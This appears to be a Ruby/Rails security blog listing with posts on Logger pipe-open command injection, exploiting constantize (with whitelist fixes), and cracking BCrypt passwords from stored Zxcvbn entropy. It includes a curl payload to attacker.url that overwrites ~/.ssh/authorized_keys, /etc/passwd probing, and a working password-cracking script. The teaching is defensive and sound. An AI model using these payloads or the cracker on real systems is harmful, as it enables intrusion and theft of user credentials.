What Makes Logger Susceptible to RCE?

brakeman, rails, ruby, security

The issue is not specifically the use of constantize; it’s to do with trusting user input not to be malicious. In order to make an application secure, you must consider all user input to be potentially malicious. There are plenty of convenient use cases for constantizing code, and security is unlikely to be an issue if there’s no user input involved.

However, I did find this hacking technique interesting/surprising, as I’ve never seen it before:

1
Logger.new("|curl http://attacker.url -o ~/.ssh/authorized_keys")

You can really run arbitrary shell scripts by simply creating an instance of Logger??!! I looked into this, and it’s true. Here’s a full breakdown, for the curious:

Creating a new instance of Logger instantiates a new instance of LogDevice, with the given “filename”:

1
2
3
4
5
6
7
8
9
10
11
def initialize(logdev, shift_age = 0, shift_size = 1048576, level: DEBUG,
                 progname: nil, formatter: nil, datetime_format: nil,
                 shift_period_suffix: '%Y%m%d')
  # ....
  @logdev = nil
  if logdev
    @logdev = LogDevice.new(logdev, :shift_age => shift_age,
      :shift_size => shift_size,
      :shift_period_suffix => shift_period_suffix)
  end
end

The LogDevice initializer calls set_dev with the supplied “filename”:

1
2
3
4
5
def initialize(log = nil, shift_age: nil, shift_size: nil, shift_period_suffix: nil)
  # ...
  set_dev(log)
  # ...
end

Which calls open_logfile:

1
2
3
4
5
6
7
8
def set_dev(log)
  if log.respond_to?(:write) and log.respond_to?(:close)
    @dev = log
  else
    @dev = open_logfile(log)
    # ...
  end
end

Which calls Kernel#open:

1
2
3
4
5
6
7
def open_logfile(filename)
  begin
    open(filename, (File::WRONLY | File::APPEND))
  rescue Errno::ENOENT
    create_logfile(filename)
  end
end

And, looking at the documentation for Kernel#open:

Creates an IO object connected to the given stream, file, or subprocess. If path does not start with a pipe character (|), treat it as the name of a file to open using the specified mode (defaulting to “r”).

[…]

If path starts with a pipe character (“|”), a subprocess is created, connected to the caller by a pair of pipes. The returned IO object may be used to write to the standard input and read from the standard output of this subprocess.

If the command following the pipe is a single minus sign (“|–”), Ruby forks, and this subprocess is connected to the parent. If the command is not “–”, the subprocess runs the command. […]

Wow, that’s definitely a possible attack vendor to be aware of!

The Safest Way to Constantize…

brakeman, rails, ruby, security

This post examines what the safest way to constantize is: which is NEVER. That’s right. If you have the constantize method anywhere within your Rails codebase you are asking for trouble!

This post looks at the most common usage of constantize, how constantize can be exploited, and a safe alternative to using it.

Common Constantize Usage

Basic radio select form for creating alerts

The most common pattern that I’ve seen across many codebases is a form that manages multiple selections (like the one above). Within that form’s controller code constantize is called on a param controlled by the user. Here’s an example:

1
2
3
4
5
6
7
8
9
class AlertsController < ApplicationController
  def create
    params[:alert][:type].constantize.new(params[:alert][:value])  # <-- bad code don't do this!

    # ... other work

    # render page
  end
end

Running brakeman over this code it is going to report a constantize RCE vulnerability like this:

1
2
3
4
5
6
7
8
9
10
11
12
+--------------+-----------------------------------------------------------------------------+
| Confidence   | High                                                                        |
+--------------+-----------------------------------------------------------------------------+
| Class        | AlertsController                                                            |
+--------------+-----------------------------------------------------------------------------+
| Method       | create                                                                      |
+--------------+-----------------------------------------------------------------------------+
| Warning Type | Remote Code Execution                                                       |
+--------------+-----------------------------------------------------------------------------+
| Message      | Unsafe reflection method constantize called with parameter value near       |
|              |   line 7: +params[:alert][:type].constantize.new(params[:alert][:value])>>  |
+--------------+-----------------------------------------------------------------------------+

What confused me when I first encounter this error was the Remote Code Execution warning type. Looking at that code, I found it hard to figure out how an attacker could trigger an exploit.

Pivoting Constantize into an Exploit

Let’s look at how an attacker can turn this into an exploit. There are a couple types of exploits that an attacker could trigger:

  • Reconnaissance
    • Application
    • Server
  • Command Injection (RCE)

The worst item in this list is Command Injection/RCE. In the event that a controller is filtering input and an RCE payload cannot be sent, Application and Server Reconnaissance may still be useful.

Reconnaissance (Application)

The first type of exploit is performing class enumeration to investigate what classes exist within an application.

Below is an example of an unsuccessful class discovery because the server returns a 500 error. The attacker knows that a SocialInsuranceNumber class does not exist.

1
2
3
4
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"SocialInsuranceNumber", "value"=>""}}  # <-- payload
Completed 500 Internal Server Error in 1ms (ActiveRecord: 0.0ms)         # <-- failed

However in this next example, since the server returns a 200 success message, the attacker knows that a CreditCard class exists.

1
2
3
4
5
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"CreditCard", "value"=>""}}  # <-- payload
  Rendered text template (0.0ms)
Completed 200 OK in 8ms (Views: 0.5ms | ActiveRecord: 1.9ms)  # <-- success

Obviously this technique is tedious by hand (less so with a script), and it would take a fair amount of time to enumerate an entire application. This type of exploit provides interesting visibility into the application’s data like Payments, Invoices, Social Insurance Numbers, Credit Cards, etc. and information about 3rd party code used within the app: Devise, Nokogiri, Puma, Stripe, etc. All this information helps an attacker evaluate what attack surfaces exist and whether the application is worth spending time hacking.

Reconnaissance (Server)

The second type of exploit, similar to application reconnaissance is server recon. This method uses a similar tactic by using the File class from the Ruby standard library and passing a filename. If the server returns a 500 error you know the file doesn’t exist:

1
2
3
4
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"File", "value"=>"floop-de-doop"}} # <-- does floop-de-doop exist?
Completed 500 Internal Server Error in 1ms (ActiveRecord: 0.0ms)    # <-- nope

And if you get a 200 you know the file exists:

1
2
3
4
5
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"File", "value"=>"/etc/passwd"}}  # <-- does /etc/passwd exist?
  Rendered text template (0.0ms)
Completed 200 OK in 1ms (Views: 0.4ms | ActiveRecord: 0.0ms)       # <-- success

This type of technique enables an attacker to determine information like what OS your app is running on, what type of database you’re using, or what other services are running on your machine. Again this creates a broader picture of the attack surface available against your app.

Command Injection

And the worst exploit for last: Getting an RCE. It’s actually easy to trigger an RCE in Rails using the Logger class. Here’s an example of getting the server to print the current date to console:

1
2
3
4
5
6
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"Logger", "value"=>"|date"}}  # <-- Injected params
  Rendered text template (0.0ms)
Completed 200 OK in 3ms (Views: 0.7ms | ActiveRecord: 0.0ms)
Sun 25 Sep 2016 21:35:23 MDT                                   # <-- Ooops!

Date isn’t a “bad” command to have run on your server, but what about other parameters that you could inject:

1
2
3
4
5
6
7
8
9
10
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {
    "alert"=>{"type"=>"Logger",
    "value"=>"|curl http://attacker.url -o ~/.ssh/authorized_keys"}}    # <-- Injected params
  Rendered text template (0.0ms)
Completed 200 OK in 6ms (Views: 0.6ms | ActiveRecord: 0.0ms)
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current   # <-- Ouch!
                                 Dload  Upload   Total   Spent    Left  Speed
100   258  100   258    0     0   1280      0 --:--:-- --:--:-- --:--:--  1283

Seeing curl writing progress to your Rails logs with the string ~/.ssh/authorized_keys is not going to make for a good day. An attacker has now gained access to your box via your web server account. Hopefully it’s not running as root goberserk

Safe Alternatives

Having looked at what a constantize vulnerability is and having clearly demonstrated how that vulnerability can be exploited, it’s time to fix that code.

Usually there’s a good reason to have a dynamic form that will use user input to decide on what class to create. The simplest pattern that I’ve used and seen is to use the parameter string and do an array lookup. Here’s an example:

1
2
3
4
5
6
7
8
9
10
11
12
13
class AlertsController < ApplicationController
  def create
    constant = [InfoAlert, WarnAlert, ErrorAlert].find do |alert|
      alert.name == params[:alert][:type]
    end
    raise "Bad hacker!" if constant.nil?  # Fail hard on malicious input

    constant.new(params[:alert][:value])

    # ... other work
    # render page
  end
end

The benefit of the above code is that you’re no longer relying on user input to correctly define the type being instantiated. Instead you define the available types and assert that the user input conforms to those choices, or fail hard!

This method is the safest because it never even uses constantize and instead relies on whitelisting safe input.

Update Sept 28, 2016:

After this post made it’s way among a few sites, Paul Kwiatkowski suggested an alternative pattern to safely avoid constantize which I liked. Here’s his example code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Some file where a constant definition is appropriate.
ALERTS = {
  'info' => InfoAlert,
  'warn' => WarnAlert,
  'error' => ErrorAlert
}

class AlertsController < ApplicationController
  def create
    ALERTS.fetch(params[:alert][:type])).new(params[:alert][:value]))

    # ... other work
    # render page
  end
end

Paul mentions that this method is beneficial because the exception handling is done automatically when a lookup fails on fetch since it raises a KeyError. The other benefit that I saw in his pattern, is that it scales well when the number of options grows large.

Many thanks to Paul and a few others that commented on this post. I truly enjoy receiving feedback from others on how I can improve my code!

A Tale of Security Gone Wrong

ruby, security

I was approached recently by a friend (you can call him Jon) that had a security story to share with me. It was an interesting scenario that could have been dire for them had they:

  1. Not discovered the problem
  2. Been breached

Wanting to improve the security of their application, Jon’s team decided to implement a password entropy feature to encourage their users to use strong passwords. This is a useful feature that companies like Dropbox, Twitter, and eBay have implemented. Jon’s team decided to use the Zxcvbn library to implement their entropy generator. Again nothing wrong here.

Where things went off the rails is when Jon’s team decided to store the entropy in the database. The rationale was that as technology progressed and password cracking became easier, users could be contacted to update their password. The trouble is that this significantly weakens password hashing algorithms (Jon’s team was using BCrypt) and decreases the time it takes to attack/brute force hashed passwords.

Thankfully this story has a happy ending and Jon’s team discovered the issue during a security audit and yanked it immediately.

The rest of this post will examine how storing entropy completely destroys your hash-password security hurtrealbad

Using Zxcvbn to Calculate Entropy

Dropbox using Zxcvbn

Above you can see an image of Dropbox’s password meter. It’s a series of bars/colors to show relative password strength. The underlying calculations are done with the Zxcvbn library. And the code to use it is quite simple:

1
2
3
4
require 'zxcvbn'

result = Zxcvbn.test('@lfred2004')
puts result.entropy   # => 14.814

For Jon’s application, when a user entered in their password, the app would calculate and store the entropy value along with the BCrypt hashed password. Below is a simplified version of the Users table.

User table with Entropy stored beside BCrypt hashed passwords

If you don’t think about security on a regular basis, this probably looks normal. The next question to ask, is how can an adversary with the Users table exploit the entropy value and crack passwords?

Why Storing Entropy is a Terrible Idea!

You see entropy is information leaking. When it comes to passwords (and secure systems in general) you want to leak as little information as possible. Otherwise an attacker has information they can use to their advantage. To leverage this information you need to understand a few things about hashing speeds.

Table of hash algorithm timing

Above you can see, BCrypt takes a long time to do 10,000 password hashes compared to MD5/SHA1. BCrypt was designed to make brute forcing password hashes expensive whereas MD5 and SHA1 weren’t designed with that consideration. Which leads us to ask: how long does it take to calculate Zxcvbn values?

Table of Zxcvbn timing along with hash algorithm timing

You can see from the above image that Zxcvbn takes significantly less time to run 10,000 iterations than BCrypt – 124x faster. The implication then is that you can input passwords into Zxcvbn and generate a subset of candidate passwords which can then be hashed with BCrypt. The algorithm is going to look like this:

A visual diagram detailing the entropy cracking steps

  1. Get a list of common passwords (the bigger the better)
  2. Run the common passwords through Zxcvbn to get an entropy value
  3. Use entropy as a hash key, store the password as a value in an array
  4. Sort Users table by lowest to highest entropy
  5. Iterate the Users table and use the entropy column to index your hash
    • If a hash key is present:
      • The value array are candidate passwords
      • BCrypt the candidate passwords and compare to database hash

Writing a Cracker

Let’s write the algorithm described above. Starting with the first 3 steps:

1
2
3
4
5
6
7
8
9
10
11
12
13
require 'zxcvbn'

tester = Zxcvbn::Tester.new
entropies = {}

dictionary_pwds = open("common_passwords.txt").readlines

dictionary_pwds.map(&:chomp).each do |pwd|
  value = tester.test(pwd).entropy

  entropies[value] ||= []
  entropies[value] << pwd
end

The result of the above is a hash of arrays with the key being the entropy for the passwords in the value array:

1
2
3
4
5
6
7
8
{
  0.0    => [ 'password', 'james', 'smith', 'mary' ],
  11.784 => [ 'Turkey50', 'zigzag', 'bearcat' ],
  11.236 => [ 'samsung1', 'istheman' ],
  ...
  17.434 => [ '01012011', '01011980', ... '01011910' ],
  ...
}

The next part of the algorithm loads the database, sorts by lowest to highest entropy (easiest to hardest), and tries to crack the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
require 'sqlite3'
require 'bcrypt'

# Open a SQLite 3 database file
db = SQLite3::Database.new 'entropy.sqlite3'

db.execute("SELECT * FROM users ORDER BY entropy") do |user|
  # Load user record
  email       = user[1]
  pwd_hash    = user[6]
  pwd_entropy = user[7]

  puts "User: #{email}, entropy: #{pwd_entropy}, password_hash: #{pwd_hash} "

  candidate_passwords = entropies[pwd_entropy]
  if candidate_passwords != nil
    passwords = candidate_passwords.select do |candidate|
      BCrypt::Password.new(pwd_hash) == candidate
    end.flatten

    # Should be 0 or 1 -- if > 1, something wrong
    if passwords.length == 0
      puts "No Matching Candidates"
    elsif passwords.length == 1
      puts "Password is: #{passwords.first}"
    end
  else
    puts "No Candidates Found"
  end
end

And that’s it. There’s nothing overly difficult in this algorithm. It’s basically 3 loops and a couple of hash functions, but what drops out is non-trivial. If this were a real database, you’d have email and password combinations flying at you. Which is a real problem that means you’re losing your user’s information!

As I mentioned, this was a good news story for Jon and his team when they discovered this issue without their database getting compromised and seeing their names in the news. However, that was not the case for Ashley Madison. That’s right! Ashley Madison made a similar error when they stored the MD5 hash of their user’s passwords in their database alongside the BCrypted hashes. This lead researchers to crack almost 1/3 of their 30 million password hashes!

While it’s nice to feel smug and laugh at Ashley Madison’s peril, there is a real possibility that you’ve done something equally stupid compromising in your own database. I’ve posted the code and an example database on github, take a look at the code and see if you can write your own cracker.

Security for JS Developers: A Presentation

other, presentations, security

On Feb 16th, 2016 I gave a presentation to yycjs on security for JS developers. The presentation covers:

The above link will take you to detailed explanations on the topic I’ve done previously — and I’ll work on getting a post developed for the timing attack.

As part of the presentation I used a neat tool called sqlmap which you can read more about. And I also referenced BCrypt multiple times. There are good reads on BCrypt and hashing passwords in 2016.